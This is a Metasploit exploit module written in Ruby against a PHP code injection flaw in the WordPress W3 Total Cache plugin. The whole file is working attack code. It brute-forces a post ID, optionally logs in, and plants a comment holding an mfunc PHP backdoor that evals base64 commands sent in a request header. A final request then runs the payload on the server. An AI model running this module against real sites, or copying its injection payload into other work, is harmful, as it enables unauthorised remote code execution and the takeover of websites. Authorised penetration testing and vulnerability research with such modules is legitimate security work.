##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Wordpress W3 Total Cache PHP Code Execution',
			'Description'    => %q{
					This module exploits a PHP Code Injection vulnerability on the W3 Total Cache
				wordpress plugin up to and including 0.9.2.8 version. Versions up to and including
				1.2 of WP Super Cache plugin are also reported as vulnerable. The exploit is due to
				the handle of some special macros, such as mfunc, which allow to inject arbitrary
				PHP code. A valid post id where publish the malicious comment is needed. The user
				can provide it with the POSTID option, otherwise a valid one will try to be brute
				forced. Also, if anonymous comments aren't allowed, valid credentials must be
				provided. Finally, comments shouldn't be moderated in order finish the exploitation
				successfully. This module has been tested against Wordpress 3.5 and W3 Total Cache
				0.9.2.3 on a Ubuntu 10.04 system.
			},
			'Author'	=>
				[
					'Unknown', # Vulnerability discovery
					'juan vazquez', # Metasploit module
					'hdm', # Metasploit module
					'Christian Mehlmauer' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '92652' ],
					[ 'BID', '59316' ],
					[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
					[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ]
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
					'DisableNops' => true,
				},
			'Targets'        => [ ['Wordpress 3.5', {}] ],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 17 2013'
			))

			register_options(
				[
					OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
					OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
					OptString.new('USERNAME', [ false,  "The user to authenticate as (anonymous if username not provided)"]),
					OptString.new('PASSWORD', [ false,  "The password to authenticate with (anonymous if password not provided)" ])
				], self.class)
	end

	def peer
		return "#{rhost}:#{rport}"
	end

	def require_auth?
		@user = datastore['USERNAME']
		@password = datastore['PASSWORD']

		if @user and @password and not @user.empty? and not @password.empty?
			return true
		else
			return false
		end
	end

	def get_session_cookie(header)
		header.split(";").each { |cookie|
			cookie.split(" ").each { |word|
				if word =~ /(.*logged_in.*)=(.*)/
					return $1, $2
				end
			}
		}
		return nil, nil
	end

	def login
		res = send_request_cgi(
			{
				'uri' => normalize_uri(target_uri.path, "wp-login.php"),
				'method' => 'POST',
				'vars_post' => {
					'log' => @user,
					'pwd' => @password
				}
			})

		if res and res.code == 302 and res.headers['Set-Cookie']
			return get_session_cookie(res.headers['Set-Cookie'])
		else
			return nil, nil
		end

	end

	def check_post_id(uri)
		options = {
			'method' => 'GET',
			'uri'    => uri
		}
		options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
		res = send_request_cgi(options)
		if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/
			return true
		elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
			location = URI(res.headers["Location"])
			uri = location.path
			uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
			return check_post_id(uri)
		end
		return false
	end

	def find_post_id
		(1..1000).each{|id|
			vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
			res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
			return id if res
		}
		return nil
	end

	def post_comment
		php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"

		vars_post = {
			'comment' => php_payload,
			'submit' => 'Post+Comment',
			'comment_post_ID' => "#{@post_id}",
			'comment_parent' => "0"
		}
		vars_post.merge!({
			'author' => rand_text_alpha(8),
			'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
			'url' => rand_text_alpha(8),
		}) unless @auth

		options = {
			'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),
			'method' => 'POST'
		}
		options.merge!({'vars_post' => vars_post})
		options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth

		res = send_request_cgi(options)
		if res and res.code == 302
			location = URI(res.headers["Location"])
			uri = location.path
			uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
			return uri
		else
			return nil
		end
	end

	def exploit

		@auth = require_auth?

		if @auth
			print_status("#{peer} - Trying to login...")
			@cookie_name, @cookie_value = login
			if @cookie_name.nil? or @cookie_value.nil?
				fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful")
			end
		else
			print_status("#{peer} - Trying unauthenticated exploitation...")
		end

		if datastore['POSTID'] and datastore['POSTID'] != 0
			@post_id = datastore['POSTID']
			print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
		else
			print_status("#{peer} - Trying to brute force a valid POST ID...")
			@post_id = find_post_id
			if @post_id.nil?
				fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
			else
				print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
			end
		end

		random_test = rand_text_alpha(64)
		@sum = Rex::Text.sha1(random_test)

		print_status("#{peer} - Injecting the PHP Code throw a comment...")
		post_uri = post_comment
		if post_uri.nil?
			fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned")
		end

		print_status("#{peer} - Executing the payload...")
		options = {
			'method' => 'GET',
			'uri'    => post_uri,
			'headers' => {
				'Cmd' => Rex::Text.encode_base64(payload.encoded),
				'Sum' => random_test
			}
		}
		options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
		res = send_request_cgi(options)
		if res and res.code == 301
			fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
		end
	end

	def check
		res = send_request_cgi ({
			'uri' => normalize_uri(target_uri.path),
			'method' => 'GET'
		})

		if res.nil?
			return Exploit::CheckCode::Unknown
		end

		if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
			version = $1
			if version <= "0.9.2.8"
				return Exploit::CheckCode::Vulnerable
			else
				return Exploit::CheckCode::Safe
			end
		end

		if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
			return Exploit::CheckCode::Detected
		end

		return Exploit::CheckCode::Unknown

	end
end